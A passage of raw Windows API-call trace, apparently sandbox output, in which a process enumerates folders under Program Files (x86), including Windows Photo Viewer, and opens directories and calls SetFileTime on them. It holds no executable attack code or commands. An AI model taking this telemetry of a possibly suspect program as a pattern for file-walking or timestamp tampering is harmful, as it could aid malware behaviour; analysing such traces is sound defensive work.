ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7849cb5e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacc7aae, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0089.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.759] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67366c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67366c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb675c828, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0089.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.761] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6710567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6710567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67366c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0089.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.762] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b02653, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78b02653, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xad33fb10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0089.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.764] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66ea407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb66ea407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6710567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x163800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0089.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.765] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9921f0, ftCreationTime.dwHighDateTime=0x1d5432c, ftLastAccessTime.dwLowDateTime=0x920daf20, ftLastAccessTime.dwHighDateTime=0x1d5c3cd, ftLastWriteTime.dwLowDateTime=0x920daf20, ftLastWriteTime.dwHighDateTime=0x1d5c3cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0089.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.766] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9921f0, ftCreationTime.dwHighDateTime=0x1d5432c, ftLastAccessTime.dwLowDateTime=0x920daf20, ftLastAccessTime.dwHighDateTime=0x1d5c3cd, ftLastWriteTime.dwLowDateTime=0x920daf20, ftLastWriteTime.dwHighDateTime=0x1d5c3cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0 [0089.766] GetLastError () returned 0x12 [0089.766] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.767] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.767] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.767] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.768] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.768] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.768] NtClose (Handle=0x180) returned 0x0 [0089.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.769] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.769] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.770] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0089.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2068 [0089.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1315e20 [0089.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.772] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0089.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2088 [0089.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316030 [0089.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.773] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0089.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c20a8 [0089.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316138 [0089.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0089.775] GetLastError () returned 0x12 [0089.775] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.775] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0089.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0089.775] GetLastError () returned 0x12 [0089.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.776] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7849cb5e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7849cb5e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacc7aae, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67366c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67366c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb675c828, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6710567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6710567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67366c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b02653, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78b02653, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xad33fb10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0089.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66ea407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb66ea407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6710567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x163800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0089.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9921f0, ftCreationTime.dwHighDateTime=0x1d5432c, ftLastAccessTime.dwLowDateTime=0x920daf20, ftLastAccessTime.dwHighDateTime=0x1d5c3cd, ftLastWriteTime.dwLowDateTime=0x920daf20, ftLastWriteTime.dwHighDateTime=0x1d5c3cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0089.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9921f0, ftCreationTime.dwHighDateTime=0x1d5432c, ftLastAccessTime.dwLowDateTime=0x920daf20, ftLastAccessTime.dwHighDateTime=0x1d5c3cd, ftLastWriteTime.dwLowDateTime=0x920daf20, ftLastWriteTime.dwHighDateTime=0x1d5c3cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0 [0089.777] GetLastError () returned 0x12 [0089.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.777] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.778] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0089.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices" (normalized: "c:\\program files (x86)\\windows portable devices"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices" (normalized: "c:\\program files (x86)\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.779] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.779] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.779] NtClose 